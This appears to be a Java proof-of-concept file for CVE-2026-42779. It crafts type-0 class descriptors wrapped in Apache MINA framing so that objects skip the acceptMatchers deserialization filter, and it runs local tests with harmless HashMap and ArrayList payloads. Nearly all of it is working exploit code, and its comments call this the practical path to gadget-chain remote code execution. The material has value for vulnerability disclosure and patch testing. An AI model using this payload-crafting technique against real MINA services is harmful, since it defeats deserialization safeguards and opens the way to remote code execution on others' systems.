Apache MINA acceptMatchers Deserialization Filter Bypass to RCE (CVE-2026-42779)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140

import org.apache.mina.core.buffer.IoBuffer;
import java.io.*;
import java.util.*;

/**
 * CVE-2026-42779 — Crafted payload bypass for Serializable classes
 *
 * Demonstrates that an attacker can bypass the acceptMatchers filter for
 * ANY class (including Serializable gadget chain classes) by crafting a
 * MINA protocol payload that uses type-0 descriptors instead of type-1.
 *
 * The attack: type-0 descriptors cause readClassDescriptor() to delegate
 * to super.readClassDescriptor() (standard Java format). Then resolveClass()
 * sees forClass()==null and calls Class.forName() WITHOUT checking acceptMatchers.
 *
 * This is the practical exploitation path: an attacker with network access
 * to a MINA endpoint using ObjectSerializationCodecFactory can send a
 * crafted stream that loads arbitrary classes past the filter, enabling
 * gadget chain RCE if a suitable library is on the classpath.
 */
public class CraftedBypassPoC {

    public static void main(String[] args) throws Exception {
        System.out.println("=== CVE-2026-42779 — Crafted type-0 descriptor bypass ===\n");

        testCraftedSerializableBypass();
        testCraftedComplexObjectBypass();

        System.out.println("\n[*] Crafted bypass tests completed.");
    }

    /**
     * Craft a MINA protocol payload where Serializable classes use type-0
     * descriptors. This forces the null-clazz path in resolveClass(),
     * bypassing acceptMatchers entirely.
     */
    static byte[] craftPayload(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        // Write the ObjectOutputStream data with type-0 descriptors for ALL classes
        try (ObjectOutputStream oos = new ObjectOutputStream(baos) {
            @Override
            protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
                // ATTACK: write type 0 (non-Serializable path) for ALL classes
                // This forces the receiver's readClassDescriptor() to delegate to
                // super.readClassDescriptor(), producing an ObjectStreamClass where
                // forClass() returns null, which skips the acceptMatchers check.
                write(0);
                super.writeClassDescriptor(desc);
            }
        }) {
            oos.writeObject(obj);
            oos.flush();
        }

        byte[] objData = baos.toByteArray();

        // Wrap in MINA's 4-byte-length-prefixed format
        ByteArrayOutputStream minaStream = new ByteArrayOutputStream();
        DataOutputStream dos = new DataOutputStream(minaStream);
        dos.writeInt(objData.length);
        dos.write(objData);

        return minaStream.toByteArray();
    }

    /**
     * Test: Bypass filter for HashMap (Serializable, NOT in accept list).
     * Normal putObject() would write type-1 and resolveClass() would reject it.
     * Crafted type-0 payload bypasses the filter entirely.
     */
    static void testCraftedSerializableBypass() throws Exception {
        System.out.println("[Test 1] Crafted bypass for HashMap (Serializable class)");
        System.out.println("  Accept list: [String] only");
        System.out.println("  Payload class: HashMap<String,String> (NOT accepted)");

        // Create attacker's payload — a HashMap (not in accept list)
        HashMap<String, String> payload = new HashMap<>();
        payload.put("attacker", "controlled-data");
        payload.put("bypass", "acceptMatchers-filter");

        byte[] crafted = craftPayload(payload);
        System.out.println("  Crafted payload: " + crafted.length + " bytes");

        // Victim: IoBuffer with restrictive accept list
        IoBuffer buf = IoBuffer.allocate(crafted.length);
        buf.setAutoExpand(true);
        buf.accept(String.class.getName());  // Only String allowed

        buf.put(crafted);
        buf.flip();

        try {
            Object result = buf.getObject();
            System.out.println("  [VULNERABLE] Deserialized: " + result);
            System.out.println("  HashMap loaded past accept filter via type-0 bypass!");
            System.out.println("  Attacker data: " + ((HashMap<?,?>)result).get("attacker"));
        } catch (ClassNotFoundException e) {
            System.out.println("  [PATCHED] ClassNotFoundException: " + e.getMessage());
        }
    }

    /**
     * Test: Bypass filter for a complex nested object with multiple classes.
     * Shows that ALL classes in a deep object graph bypass the filter.
     */
    static void testCraftedComplexObjectBypass() throws Exception {
        System.out.println("\n[Test 2] Crafted bypass for nested object graph");
        System.out.println("  Accept list: [String] only");
        System.out.println("  Payload: ArrayList<HashMap<String, Date>>");

        ArrayList<Object> payload = new ArrayList<>();
        HashMap<String, Date> inner = new HashMap<>();
        inner.put("timestamp", new Date());
        payload.add(inner);
        payload.add("marker");

        byte[] crafted = craftPayload(payload);
        System.out.println("  Crafted payload: " + crafted.length + " bytes");

        IoBuffer buf = IoBuffer.allocate(crafted.length);
        buf.setAutoExpand(true);
        buf.accept(String.class.getName());  // Only String allowed

        buf.put(crafted);
        buf.flip();

        try {
            Object result = buf.getObject();
            @SuppressWarnings("unchecked")
            ArrayList<Object> list = (ArrayList<Object>) result;
            System.out.println("  [VULNERABLE] Deserialized " + list.size() + " items:");
            System.out.println("    [0] HashMap: " + list.get(0));
            System.out.println("    [1] String: " + list.get(1));
            System.out.println("  ALL classes bypassed filter: ArrayList, HashMap, Date, String");
        } catch (ClassNotFoundException e) {
            System.out.println("  [PATCHED] ClassNotFoundException: " + e.getMessage());
        }
    }
}